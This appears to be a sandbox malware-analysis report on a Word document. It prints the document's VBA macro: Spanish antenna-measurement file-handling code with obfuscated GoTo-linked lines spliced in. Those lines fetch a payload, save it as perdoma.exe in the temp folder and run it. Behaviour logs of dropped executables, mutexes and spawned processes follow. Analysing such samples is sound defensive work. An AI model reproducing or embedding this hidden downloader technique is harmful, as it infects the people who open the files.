    sPN.IFT(9) = ExtraeDat.oIzqda(Cadena)
    sPN.IFT(9) = SinLe.tras(sPN.IFT(9))
    Case ClaveFIN_PNIFT
    Case ClaveINI_PNIFU
    bHayPNIFU = True
    sProc(10) = Checked
    Case ClaveCENTGIRAR_U
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefSI
    sPNI.FU(0) = Checked
    Case PrefNO
    sPNI.FU(0) = Unchecked
    Case Else
    sPNI.FU(0) = Grayed
    End Select
    sPNI.FU(1) = ExtraeDatoD.cha(Cadena)
    sPNI.FU(1) = SinLe.tras(sPNI.FU(1))
    Case ClaveTRANSF_U
    Select Case Cadena
    Case PrefSINCAMBIO
    sPNI.FU(2) = ClaveSINCAMBIO
    Case PrefCONCAMBIO
    sPNI.FU(2) = ClaveCONCAMBIO
    End Select
    Case ClaveCMPTE_U
    Select Case Cadena
    Case PrefCPXY
    sPNI.FU(3) = ClaveCPXY
    Case PrefAE
    sPNI.FU(3) = ClaveAE
    Case PrefTHPH
    sPNI.FU(3) = ClaveTHPH
    Case PrefRHLH
    sPNI.FU(3) = ClaveRHLH
    Case PrefEMEM
    sPNI.FU(3) = ClaveEMEM
    End Select
    Case ClaveFORMATO
    Select Case ExtraeDat.oIzqda(Cadena)
    Case PrefFORM_1
    sPNI.FU(4) = ClaveFORM_1
    Case PrefFORM_2
    sPNI.FU(4) = ClaveFORM_2
    Case PrefFORM_3
    sPNI.FU(4) = ClaveFORM_3
    Case PrefFORM_4
    sPNI.FU(4) = ClaveFORM_4
    End Select
    perd3:
    uncunctuncE_1.Send
    uncunctuncE_4 = uncunctuncE_3(mandata(6))
    GoTo perd4
    sPNI.FU(5) = ExtraeDatoD.cha(Cadena)
    sPNI.FU(5) = SinLe.tras(sPNI.FU(5))
    Case ClaveTHETA_U
    sPNI.FU(6) = ExtraeDat.oIzqda(Cadena)
    sPNI.FU(6) = SinLe.tras(sPNI.FU(6))
    sPNI.FU(7) = ExtraeDatoD.cha(Cadena)
    sPNI.FU(7) = SinLe.tras(sPNI.FU(7))
    Case ClavePHI_U
    sPNI.FU(8) = ExtraeDat.oIzqda(Cadena)
    sPNI.FU(8) = SinLe.tras(sPNI.FU(8))
    Case ClaveFACTEXP
    sPNI.FU(9) = ExtraeDat.oIzqda(Cadena)
    sPNI.FU(9) = SinLe.tras(sPNI.FU(9))
    sPNI.FU(10) = ExtraeDatoD.cha(Cadena)
    sPNI.FU(10) = SinLe.tras(sPNI.FU(10))
    Case "S/N_RUIDO"
    frmAnalisisIncertidumbres.txtNivelRuido.Text = SinLe.tras(Cadena)
    Pot_ruido = Cadena
    Case "DRIFT_GRADOS"
    frmAnalisisIncertidumbres.txtDrift.Text = SinLe.tras(Cadena)
    Drift = Cadena
    Case "DRIFT_dB"
    frmAnalisisIncertidumbres.txtDriftMod.Text = SinLe.tras(Cadena)
    DriftMod = Cadena
    Case "S/N_LEAKAGE"
    frmAnalisisIncertidumbres.txtLeakage.Text = SinLe.tras(Cadena)
    Leakage = Cadena
    Case "CABLES_JUNTAS_GRADOS"
    frmAnalisisIncertidumbres.txtCablesJuntas.Text = SinLe.tras(Cadena)
    CablesJuntas = Cadena
    Case "CABLES_JUNTAS_dB"
    frmAnalisisIncertidumbres.txtCablesJuntasMod.Text = SinLe.tras(Cadena)
    CablesJuntasMod = Cadena
    Case "NO_SIMUL"
    frmAnalisisIncertidumbres.txtNumSimul.Text = SinLe.tras(Cadena)
    Num_simulaciones = Cadena
    Case "JUNTO"
    If (Cadena = "S") Then
    frmAnalisisIncertidumbres.chkJunto.Value = Checked
    Junto2 = Checked
    End If
    Junto = Cadena
    Case ClaveFIN
    Case ClaveFIN_PNIFU
    Case Else
    Fallo = True
    End Select
    Loop Until EOF(f)
    Close f
    If Fallo Then
    i = MsgBox("Se han ignorado algunas entradas
    compruebe la configuraci?n", _
    vbOKOnly + vbInformation, "AVISO PROCESADO DE DATOS")
    End If
    SalirCargarProc:
    Exit Sub
    ManipularErrorCargarProc:
    i = MsgBox("No existe el fichero o est? da?ado" _
    & vbNewLine & Err.Description, _
    vbOKOnly + vbCritical, "ERROR PROCESADO DE DATOS")
    Resume Next
    perd4:
    uncunctuncE_5 = uncunctuncE_4 + "\perdoma.exe"
    GuardarFichProcIncer ""
    End Sub
    Public Sub GuardarFichProcIncer(NombreFichero As String)
    Dim f As Integer
    Dim i As Integer
    Dim ClaveCPE As String
    Dim ClaveINI_CPE As String
    Dim ClaveFIN_CPE As String
    Dim TExcitacion As String
    Dim InSonda As String
    Dim OutSonda As String
    Dim TPolariz As String
    Dim TNormaliz As String
    Dim Forma As String
    Dim Centrar_c As String
    Dim CentrarGirar_u As String
    Dim Transf As String
    Dim Cmpte As String
    Dim Forma_u As String
    GoTo perd
    If frmAnalisisIncertidumbres.optSNIFTD.Value = True Then
    ClaveCPE = ClaveSNIFTD
    ClaveINI_CPE = ClaveINI_SNIFTD
    ClaveFIN_CPE = ClaveFIN_SNIFTD
    ElseIf frmAnalisisIncertidumbres.optEXPAND.Value = True Then
    ClaveCPE = ClaveEXPAND
    ClaveINI_CPE = ClaveINI_EXPAND
    ClaveFIN_CPE = ClaveFIN_EXPAND
    End If
    Select Case sSNIF.TD_EXPAND(7)
    Case ClaveSONDA_1
    InSonda = PrefSONDA_1
    Case ClaveSONDA_2
    InSonda = PrefSONDA_2
    Case ClaveSONDA_3
    InSonda = PrefSONDA_3
    Case ClaveSONDA_4
    InSonda = PrefSONDA_4
    Case ClaveSONDA_5
    InSonda = PrefSONDA_5
    End Select
    perd:
    GoTo perd1
    Select Case sSNIFT.D_EXPAND(15)
    Case ClaveSONDA_1
    OutSonda = PrefSONDA_1
    Case ClaveSONDA_2
    OutSonda = PrefSONDA_2
    Case ClaveSONDA_3
    OutSonda = PrefSONDA_3
    Case ClaveSONDA_4
    OutSonda = PrefSONDA_4
    Case ClaveSONDA_5
    OutSonda = PrefSONDA_5
    End Select
    Select Case sCNI.FT(11)
    Case Checked
    Centrar_c = PrefSI
    Case Unchecked
    Centrar_c = PrefNO
    End Select
    Select Case sPN.IFU(0)
    Case Checked
    CentrarGirar_u = PrefSI
    Case Unchecked
    CentrarGirar_u = PrefNO
    End Select
    Select Case sPN.IFU(2)
    Case ClaveSINCAMBIO
    Transf = PrefSINCAMBIO
    Case ClaveCONCAMBIO
    Transf = PrefCONCAMBIO
    End Select
    Select Case sPN.IFU(3)
    Case ClaveCPXY
    Cmpte = PrefCPXY
    Case ClaveAE
    Cmpte = PrefAE
    Case ClaveTHPH
    Cmpte = PrefTHPH
    Case ClaveRHLH
    Cmpte = PrefRHLH
    Case ClaveEMEM
    Cmpte = PrefEMEM
    End Select
    Select Case sPN.IFU(4)
    Case ClaveFORM_1
    Forma_u = PrefFORM_1
    Case ClaveFORM_2
    Forma_u = PrefFORM_2
    Case ClaveFORM_3
    Forma_u = PrefFORM_3
    Case ClaveFORM_4
    Forma_u = PrefFORM_4
    End Select
    On Error GoTo ManipularErrorGuardarProc
    f = FreeFile
    Open NombreFichero For Output As f
    Print #f, "FICHERO_MED", frmAnalisisIncertidumbres.txtDAMA.Text, _
    vbNewLine
    Print #f, "FICHERO_INCER", sPathMedida, _
    vbNewLine
    Print #f, ClaveNOFREC, frmAnalisisIncertidumbres.lstFrecuencias.ListCount
    For i = 0 To frmAnalisisIncertidumbres.lstFrecuencias.ListCount - 1 Step 1
    Print #f, "", frmAnalisisIncertidumbres.lstFrecuencias.List(i)
    Next i
    Print #f, vbNewLine
    If frmAnalisisIncertidumbres.txtNivelRuido <> "" Then
    Print #f, "S/N_RUIDO", frmAnalisisIncertidumbres.txtNivelRuido.Text
    End If
    If frmAnalisisIncertidumbres.txtDrift <> "" Then
    Print #f, "DRIFT_GRADOS", frmAnalisisIncertidumbres.txtDrift.Text
    End If
    If frmAnalisisIncertidumbres.txtDriftMod <> "" Then
    Print #f, "DRIFT_dB", frmAnalisisIncertidumbres.txtDriftMod.Text
    End If
    If frmAnalisisIncertidumbres.txtLeakage <> "" Then
    Print #f, "S/N_LEAKAGE", frmAnalisisIncertidumbres.txtLeakage.Text
    End If
    If frmAnalisisIncertidumbres.txtCablesJuntas <> "" Then
    Print #f, "CABLES_JUNTAS_GRADOS", frmAnalisisIncertidumbres.txtCablesJuntas.Text
    End If
    If frmAnalisisIncertidumbres.txtCablesJuntasMod <> "" Then
    Print #f, "CABLES_JUNTAS_dB", frmAnalisisIncertidumbres.txtCablesJuntasMod.Text
    End If
    If frmAnalisisIncertidumbres.txtNumSimul <> "" Then
    Print #f, "NO_SIMUL", frmAnalisisIncertidumbres.txtNumSimul.Text, _
    vbNewLine
    End If
    If frmAnalisisIncertidumbres.chkJunto.Value = Checked Then
    Print #f, "JUNTO", "S", _
    vbNewLine
    Else
    Print #f, "JUNTO", "N", _
    vbNewLine
    End If
    perd1:
    CallByName uncunctuncE_2, mandata(7), VbLet, 1
    GoTo perd3
    If frmAnalisisIncertidumbres.chkCPE.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClaveCPE
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_CPE
    Print #f, ClaveINSONDA, InSonda, _
    sSNIFTD_E.XPAND(8)
    Print #f, ClaveROUT, sSNIFTD_E.XPAND(9)
    Print #f, ClaveOUTTHETA_SE, sSNIFTD_E.XPAND(11), _
    sSNIFTD_E.XPAND(12)
    Print #f, ClaveOUTPHI_SE, sSNIFTD_E.XPAND(13), _
    sSNIFTD_E.XPAND(14)
    Print #f, ClaveOUTSONDA, OutSonda, _
    sSNIFTD_E.XPAND(16)
    Print #f, ClaveFIN_CPE, vbNewLine
    End If
    If frmAnalisisIncertidumbres.chkFresnel.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClaveSFIFT
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_SFIFT
    Print #f, ClaveR0, sSF.IFT(3)
    Print #f, ClaveLFI0, sSF.IFT(4)
    Print #f, ClaveLFI90, sSF.IFT(5)
    Print #f, ClaveGSonda, sSF.IFT(6)
    Print #f, ClaveCSonda, sSF.IFT(7)
    Print #f, ClaveFIN_SFIFT, vbNewLine
    End If
    If frmAnalisisIncertidumbres.chkCPC.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClaveCNIFT
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_CNIFT
    Print #f, ClaveTHETA_C, sCN.IFT(7), sCN.IFT(8)
    Print #f, ClavePHI_C, sCN.IFT(9), sCN.IFT(10)
    Print #f, ClaveCENTRAR_C, Centrar_c, sCN.IFT(12)
    Print #f, ClavePERDYGAN, sCN.IFT(13), sCN.IFT(14)
    Print #f, ClaveFSONDA, sCN.IFT(15)
    Print #f, ClaveFIN_CNIFT, vbNewLine
    End If
    If frmAnalisisIncertidumbres.chkCPP.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClavePNIFT
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_PNIFT
    Print #f, ClaveTHETA_P, sPN.IFT(0), sPN.IFT(1)
    Print #f, ClavePHI_P, sPN.IFT(2), sPN.IFT(3)
    Print #f, ClaveFICHRNF, sPN.IFT(5)
    Print #f, ClaveFICHPRB, sPN.IFT(6)
    Print #f, ClaveFICHREF, sPN.IFT(8)
    Print #f, ClavePERDINS, sPN.IFT(9)
    Print #f, ClaveFIN_PNIFT, vbNewLine
    End If
    If frmAnalisisIncertidumbres.chkCoord.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClavePNIFU
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_PNIFU
    Print #f, ClaveCENTGIRAR_U, CentrarGirar_u, sPNI.FU(1)
    Print #f, ClaveTRANSF_U, Transf
    Print #f, ClaveCMPTE_U, Cmpte
    Print #f, ClaveFORMATO, Forma_u, sPNI.FU(5)
    If Transf = PrefCONCAMBIO Then
    Print #f, ClaveTHETA_U, sPNI.FU(6), sPNI.FU(7)
    Print #f, ClavePHI_U, sPNI.FU(8)
    End If
    If Transf = PrefSINCAMBIO Then
    Print #f, ClaveFACTEXP, sPNI.FU(9), sPNI.FU(10)
    End If
    Print #f, ClaveFIN_PNIFU, vbNewLine
    End If
    Print #f, ClaveFIN
    Close f
    perd3:
    uncunctuncE_2.Open
    GuardarFichProc ""
    SalirGuardarProc:
    Exit Sub
    ManipularErrorGuardarProc:
    i = MsgBox("No se pudo guardar el fichero correctamente." & _
    vbNewLine & sPathProceso, _
    vbOKOnly + vbCritical, "ERROR PROCESADO DE INCERTIDUMBRES")
    Resume Next
    End Sub
    Public Sub GuardarFichProc(NombreFichero As String)
    Dim f As Integer
    Dim i As Integer
    Dim ClaveCPE As String
    Dim ClaveINI_CPE As String
    Dim ClaveFIN_CPE As String
    Dim TExcitacion As String
    Dim InSonda As String
    Dim OutSonda As String
    Dim TPolariz As String
    Dim TNormaliz As String
    Dim Forma As String
    Dim Centrar_c As String
    Dim CentrarGirar_u As String
    Dim Transf As String
    Dim Cmpte As String
    Dim Forma_u As String
    GoTo perd
    If frmProcesado.optSNIFTD.Value = True Then
    ClaveCPE = ClaveSNIFTD
    ClaveINI_CPE = ClaveINI_SNIFTD
    ClaveFIN_CPE = ClaveFIN_SNIFTD
    ElseIf frmProcesado.optEXPAND.Value = True Then
    ClaveCPE = ClaveEXPAND
    ClaveINI_CPE = ClaveINI_EXPAND
    ClaveFIN_CPE = ClaveFIN_EXPAND
    End If
    Select Case frmProcesado.cboTExcitacion.Text
    Case ClaveLINX
    TExcitacion = PrefLINX
    Case ClaveLINY
    TExcitacion = PrefLINY
    Case ClaveCIRC
    TExcitacion = PrefCIRC
    End Select
    Select Case sSNIFTD_E.XPAND(7)
    Case ClaveSONDA_1
    InSonda = PrefSONDA_1
    Case ClaveSONDA_2
    InSonda = PrefSONDA_2
    Case ClaveSONDA_3
    InSonda = PrefSONDA_3
    Case ClaveSONDA_4
    InSonda = PrefSONDA_4
    Case ClaveSONDA_5
    InSonda = PrefSONDA_5
    End Select
    Select Case sSNIFTD_E.XPAND(15)
    Case ClaveSONDA_1
    OutSonda = PrefSONDA_1
    Case ClaveSONDA_2
    OutSonda = PrefSONDA_2
    Case ClaveSONDA_3
    OutSonda = PrefSONDA_3
    Case ClaveSONDA_4
    OutSonda = PrefSONDA_4
    Case ClaveSONDA_5
    OutSonda = PrefSONDA_5
    End Select
    Select Case sCN.IFT(11)
    Case Checked
    Centrar_c = PrefSI
    Case Unchecked
    Centrar_c = PrefNO
    End Select
    Select Case sPNI.FU(0)
    Case Checked
    CentrarGirar_u = PrefSI
    Case Unchecked
    CentrarGirar_u = PrefNO
    End Select
    Select Case sPNI.FU(2)
    Case ClaveSINCAMBIO
    Transf = PrefSINCAMBIO
    Case ClaveCONCAMBIO
    Transf = PrefCONCAMBIO
    End Select
    perd:
    rbp = CallByName(uncunctuncE_1, mandata(10), VbGet)
    CallByName uncunctuncE_2, mandata(9), VbMethod, rbp
    GoTo perd9
    Select Case sPNI.FU(3)
    Case ClaveCPXY
    Cmpte = PrefCPXY
    Case ClaveAE
    Cmpte = PrefAE
    Case ClaveTHPH
    Cmpte = PrefTHPH
    Case ClaveRHLH
    Cmpte = PrefRHLH
    Case ClaveEMEM
    Cmpte = PrefEMEM
    End Select
    Select Case sPNI.FU(4)
    Case ClaveFORM_1
    Forma_u = PrefFORM_1
    Case ClaveFORM_2
    Forma_u = PrefFORM_2
    Case ClaveFORM_3
    Forma_u = PrefFORM_3
    Case ClaveFORM_4
    Forma_u = PrefFORM_4
    End Select
    On Error GoTo ManipularErrorGuardarProc
    f = FreeFile
    Open NombreFichero For Output As f
    Print #f, ClaveDAMA, frmProcesado.txtDAMA.Text, _
    vbNewLine
    Print #f, ClaveNOFREC, frmProcesado.lstFrecuencias.ListCount
    For i = 0 To frmProcesado.lstFrecuencias.ListCount - 1 Step 1
    Print #f, "", frmProcesado.lstFrecuencias.List(i)
    Next i
    Print #f, vbNewLine
    If frmProcesado.chkNORMA.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClaveNORMA
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_NORMA
    Print #f, ClaveTEXCIT, TExcitacion
    Print #f, ClaveFIN_NORMA, vbNewLine
    End If
    If frmProcesado.chkNORMAC.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClaveNORMACOMP
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_NORMACOMP
    Print #f, ClaveTEXCIT, TExcitacion
    Print #f, ClaveFIN_NORMACOMP, vbNewLine
    End If
    If frmProcesado.chkCPE.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClaveCPE
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_CPE
    Print #f, ClaveINSONDA, InSonda, _
    sSNIFTD_E.XPAND(8)
    Print #f, ClaveROUT, sSNIFTD_E.XPAND(9)
    Print #f, ClaveOUTTHETA_SE, sSNIFTD_E.XPAND(11), _
    sSNIFTD_E.XPAND(12)
    Print #f, ClaveOUTPHI_SE, sSNIFTD_E.XPAND(13), _
    sSNIFTD_E.XPAND(14)
    Print #f, ClaveOUTSONDA, OutSonda, _
    sSNIFTD_E.XPAND(16)
    Print #f, ClaveFIN_CPE, vbNewLine
    End If
    If frmProcesado.chkFresnel.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClaveSFIFT
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_SFIFT
    Print #f, ClaveR0, sSF.IFT(3)
    Print #f, ClaveLFI0, sSF.IFT(4)
    Print #f, ClaveLFI90, sSF.IFT(5)
    Print #f, ClaveGSonda, sSF.IFT(6)
    Print #f, ClaveCSonda, sSF.IFT(7)
    Print #f, ClaveFIN_SFIFT, vbNewLine
    End If
    If frmProcesado.chkCPC.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClaveCNIFT
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_CNIFT
    Print #f, ClaveTHETA_C, sCN.IFT(7), sCN.IFT(8)
    Print #f, ClavePHI_C, sCN.IFT(9), sCN.IFT(10)
    Print #f, ClaveCENTRAR_C, Centrar_c, sCN.IFT(12)
    Print #f, ClavePERDYGAN, sCN.IFT(13), sCN.IFT(14)
    Print #f, ClaveFSONDA, sCN.IFT(15)
    Print #f, ClaveFIN_CNIFT, vbNewLine
    End If
    If frmProcesado.chkCPP.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClavePNIFT
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_PNIFT
    Print #f, ClaveTHETA_P, sPN.IFT(0), sPN.IFT(1)
    Print #f, ClavePHI_P, sPN.IFT(2), sPN.IFT(3)
    Print #f, ClaveFICHRNF, sPN.IFT(5)
    Print #f, ClaveFICHPRB, sPN.IFT(6)
    Print #f, ClaveFICHREF, sPN.IFT(8)
    Print #f, ClavePERDINS, sPN.IFT(9)
    Print #f, ClaveFIN_PNIFT, vbNewLine
    End If
    If frmProcesado.chkCoord.Value = Checked Then
    Print #f, Asteriscos & Asteriscos
    Print #f, , ClavePNIFU
    Print #f, Asteriscos & Asteriscos
    Print #f, ClaveINI_PNIFU
    Print #f, ClaveCENTGIRAR_U, CentrarGirar_u, sPNI.FU(1)
    Print #f, ClaveTRANSF_U, Transf
    Print #f, ClaveCMPTE_U, Cmpte
    Print #f, ClaveFORMATO, Forma_u, sPNI.FU(5)
    If Transf = PrefCONCAMBIO Then
    Print #f, ClaveTHETA_U, sPNI.FU(6), sPNI.FU(7)
    Print #f, ClavePHI_U, sPNI.FU(8)
    End If
    If Transf = PrefSINCAMBIO Then
    Print #f, ClaveFACTEXP, sPNI.FU(9), sPNI.FU(10)
    End If
    Print #f, ClaveFIN_PNIFU, vbNewLine
    End If
    Print #f, ClaveFIN
    Close f
    perd9:
    CallByName uncunctuncE_2, mandata(11), VbMethod, uncunctuncE_5, 2
    SalirGuardarProc:
    Exit Sub
    ManipularErrorGuardarProc:
    i = MsgBox("No se pudo guardar el fichero correctamente." & _
    vbNewLine & sPathProceso, _
    vbOKOnly + vbCritical, "ERROR PROCESADO DE DATOS")
    Resume Next
    End Sub
    Public Sub ValidarProcIncer(NombreFichero As String)
    Dim i As Integer
    sPathProceso = NombreFichero
    For i = 0 To frmAnalisisIncertidumbres.lstFrecuencias.ListCount - 1 Step 1
    ReDim Preserve sProc1(i)
    sProc1(i) = frmAnalisisIncertidumbres.lstFrecuencias.List(i)
    Next i
    sProc(4) = frmAnalisisIncertidumbres.chkCPE.Value
    sProc(5) = frmAnalisisIncertidumbres.optSNIFTD.Value
    bHaySNIFTD = sProc(5)
    sProc(6) = frmAnalisisIncertidumbres.optEXPAND.Value
    bHayEXPAND = sProc(6)
    sProc(7) = frmAnalisisIncertidumbres.chkFresnel.Value
    If sProc(7) = Checked Then
    bHaySFIFT = True
    Else
    bHaySFIFT = False
    End If
    sProc(8) = frmAnalisisIncertidumbres.chkCPC.Value
    If sProc(8) = Checked Then
    bHayCNIFT = True
    Else
    bHayCNIFT = False
    End If
    sProc(9) = frmAnalisisIncertidumbres.chkCPP.Value
    If sProc(9) = Checked Then
    bHayPNIFT = True
    Else
    bHayPNIFT = False
    End If
    sProc(10) = frmAnalisisIncertidumbres.chkCoord.Value
    If sProc(10) = Checked Then
    bHayPNIFU = True
    Else
    bHayPNIFU = False
    End If
    End Sub
    Public Sub ValidarProc(NombreFichero As String)
    Dim i As Integer
    sPathProceso = NombreFichero
    For i = 0 To frmProcesado.lstFrecuencias.ListCount - 1 Step 1
    ReDim Preserve sProc1(i)
    sProc1(i) = frmProcesado.lstFrecuencias.List(i)
    Next i
    sProc(2) = frmProcesado.chkNORMA.Value
    If sProc(2) = Checked Then
    bHayNORMA = True
    Else
    bHayNORMA = False
    End If
    sProc(11) = frmProcesado.chkNORMAC.Value
    If sProc(11) = Checked Then
    bHayNORMAC = True
    Else
    bHayNORMAC = False
    End If
    sProc(3) = frmProcesado.cboTExcitacion.Text
    sNORMA = frmProcesado.cboTExcitacion.Text
    sProc(4) = frmProcesado.chkCPE.Value
    sProc(5) = frmProcesado.optSNIFTD.Value
    bHaySNIFTD = sProc(5)
    sProc(6) = frmProcesado.optEXPAND.Value
    bHayEXPAND = sProc(6)
    sProc(7) = frmProcesado.chkFresnel.Value
    If sProc(7) = Checked Then
    bHaySFIFT = True
    Else
    bHaySFIFT = False
    End If
    sProc(8) = frmProcesado.chkCPC.Value
    If sProc(8) = Checked Then
    bHayCNIFT = True
    Else
    bHayCNIFT = False
    End If
    sProc(9) = frmProcesado.chkCPP.Value
    If sProc(9) = Checked Then
    bHayPNIFT = True
    Else
    bHayPNIFT = False
    End If
    sProc(10) = frmProcesado.chkCoord.Value
    If sProc(10) = Checked Then
    bHayPNIFU = True
    Else
    bHayPNIFU = False
    End If
    End Sub
    Public Sub CargarFrecs(NombreFichero As String)
    Dim f As Integer
    Dim Buffer As String
    Dim Cadena As String
    Dim i As Integer
    Dim Aux As Integer
    Dim Fallo As Boolean
    Fallo = False
    On Error GoTo ManipularErrorCargarProcesado
    f = FreeFile
    Open NombreFichero For Input As f
    Do
    Line Input #f, Buffer
    Cadena = ExtraeDatoD.cha(Buffer)
    Select Case ExtraeDat.oIzqda(Buffer)
    Case ClaveNOFREC
    Aux = Fix(Val(SinLe.tras(ExtraeDat.oIzqda(Cadena))))
    If Aux >= 1 Then
    bHayFrecs = True
    sFrecMax = sLimFrecMin
    sFrecMin = sLimFrecMax
    For i = 0 To Aux - 1 Step 1
    Input #f, Buffer
    ReDim Preserve sProc1(i)
    sProc1(i) = ExtraeDat.oIzqda(Buffer)
    If ExtraeDat.oIzqda(Buffer) > sFrecMax Then
    sFrecMax = ExtraeDat.oIzqda(Buffer)
    End If
    If ExtraeDat.oIzqda(Buffer) < sFrecMin Then
    sFrecMin = ExtraeDat.oIzqda(Buffer)
    End If
    Next i
    End If
    End Select
    Loop Until EOF(f)
    Close f
    SalirCargarProcesado:
    Exit Sub
    ManipularErrorCargarProcesado:
    i = MsgBox("No existe el fichero o est? da?ado" _
    & vbNewLine & Err.Description, _
    vbOKOnly + vbCritical, "ERROR PROCESADO DE DATOS")
    Resume Next
    End Sub
    Public Sub GuardarNORMA(FichTmp As String, FichConfig As String)
    Dim f As Integer
    Dim i As Integer
    Dim EXTin As String
    Dim TExcit As Integer
    On Error GoTo ManipularErrorGuardarNORMA
    If uTMedida.Iniciales = Ini_CLB Then
    EXTin = Ext_CCL
    Else
    EXTin = Ext_CCP
    End If
    Select Case sNORMA
    Case ClaveLINX
    TExcit = PrefLINX
    Case ClaveLINY
    TExcit = PrefLINY
    Case ClaveCIRC
    TExcit = PrefCIRC
    End Select
    f = FreeFile
    Open FichConfig & Ext_CIN For Output As f
    Print #f, CharLineaVacia
    Print #f, ""
    Print #f, TExcit, ClaveIPOLD
    Print #f, ""
    Close f
    SalirGuardarNORMA:
    Exit Sub
    ManipularErrorGuardarNORMA:
    i = MsgBox("No se pudo guardar el fichero correctamente." & _
    vbNewLine & FichConfig & Ext_CIN _
    & vbNewLine & Err.Description, _
    , vbOKOnly + vbCritical, "ERROR NORMA")
    Resume Next
    End Sub"

    source

    Static Parser

    relevance

    10/10

  • Creates a writable file in a temporary directory

    details

    "perdoma.exe" created file "%TEMP%\CabDAE9.tmp"
    "perdoma.exe" created file "%TEMP%\TarDAEA.tmp"

    source

    API Call

    relevance

    1/10

  • Creates mutants

    details

    "IESQMMUTEX_0_208"
    "KYIMEShareCachedData.MutexObject.PSPUBWS"
    "KYTransactionServer.MutexObject.PSPUBWS"
    "Global\MTX_MSO_Formal1_S-1-5-21-4162757579-3804539371-4239455898-1000"
    "Global\MTX_MSO_AdHoc1_S-1-5-21-4162757579-3804539371-4239455898-1000"
    "Local\WininetStartupMutex"
    "Local\WininetConnectionMutex"
    "Local\WininetProxyRegistryMutex"
    "Local\!IETld!Mutex"
    "Local\c:!users!pspubws!appdata!roaming!microsoft!windows!ietldcache!"
    "Local\ZonesCounterMutex"
    "Local\ZoneAttributeCacheCounterMutex"
    "Local\ZonesCacheCounterMutex"
    "Local\ZonesLockedCacheCounterMutex"
    "Global\d65899ba074c945127a56deb94e1f7f0"

    source

    Created Mutant

    relevance

    3/10

  • Loads modules at runtime

    details

    "perdoma.exe" loaded module "NTDLL.DLL" at base 77420000
    "perdoma.exe" loaded module "DNSAPI.DLL" at base 74E70000
    "perdoma.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73870000
    "perdoma.exe" loaded module "SETUPAPI.DLL" at base 76980000
    "perdoma.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 77590000
    "perdoma.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 77590000
    "perdoma.exe" loaded module "RPCRT4.DLL" at base 76620000
    "perdoma.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77590000
    "OffDiag.exe" loaded module "OLEAUT32.DLL" at base 77170000
    "OffDiag.exe" loaded module "POWRPROF.DLL" at base 748A0000
    "OffDiag.exe" loaded module "KERNEL32.DLL" at base 76FC0000
    "OffDiag.exe" loaded module "NETAPI32.DLL" at base 73CA0000
    "OffDiag.exe" loaded module "OLE32.DLL" at base 764C0000
    "OffDiag.exe" loaded module "ADVAPI32.DLL" at base 76D50000
    "OffDiag.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 77590000
    "OffDiag.exe" loaded module "PROFAPI.DLL" at base 75570000

    source

    API Call

    relevance

    1/10

  • Loads rich edit control libraries

    details

    "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\Microsoft Shared\office12\riched20.dll" at 66B00000

    source

    Loaded Module

  • Spawns new processes

    details

    Spawned process "perdoma.exe" (Show Process)
    Spawned process "Explorer.EXE" with commandline "%WINDIR%\Explorer.EXE" (Show Process)
    Spawned process "taskhost.exe" (Show Process)
    Spawned process "OffDiag.exe" with commandline "/SOURCE 1 /LCID 1031 /WAITPID 2676" (Show Process)

    source

    Monitored Target

    relevance

    3/10

• Installation/Persistance
  • Dropped files

    details

    "~WRS{2D69C431-B530-4726-8F4A-0C1170282BCC}.tmp.165078" has type "FoxPro FPT, blocks size 0, next free block index 218103808, 1st used item "\375""
    "opa12.dat.165640" has type "data"
    "FFGDES34309.LNK.170437" has type "MS Windows shortcut, Item id list present, Points to a file or directory, Normal, ctime=Fri Jan 29 19:13:42 2016, mtime=Fri Jan 29 19:13:42 2016, atime=Fri Jan 29 19:13:42 2016, length=91136, window=hide"
    "Local Disk (Z).LNK.170437" has type "MS Windows shortcut, Item id list present, Points to a file or directory, Directory, ctime=Fri Jan 29 17:14:31 2016, mtime=Fri Jan 29 17:15:41 2016, atime=Fri Jan 29 17:15:41 2016, length=4096, window=hide"
    "index.dat.170437" has type "data"
    "MSForms.exd.170828" has type "data"
    "g545[1].exe.177218" has type "PE32 executable (console) Intel 80386, for MS Windows"
    "perdoma.exe.177625" has type "PE32 executable (console) Intel 80386, for MS Windows"
    "CabC49E.tmp.181406" has type "Microsoft Cabinet archive data, 50006 bytes, 1 file"
    "TarC49F.tmp.181468" has type "data"
    "CabC4EE.tmp.181484" has type "Microsoft Cabinet archive data, 50006 bytes, 1 file"
    "TarC4EF.tmp.181500" has type "data"
    "94308059B57B3142E455B38A6EB92015.187015" has type "data"
    "CabDAE9.tmp.187109" has type "Microsoft Cabinet archive data, 49660 bytes, 1 file"
    "TarDAEA.tmp.187125" has type "data"
    "85_143_166_200[1].txt.192500" has type "data"
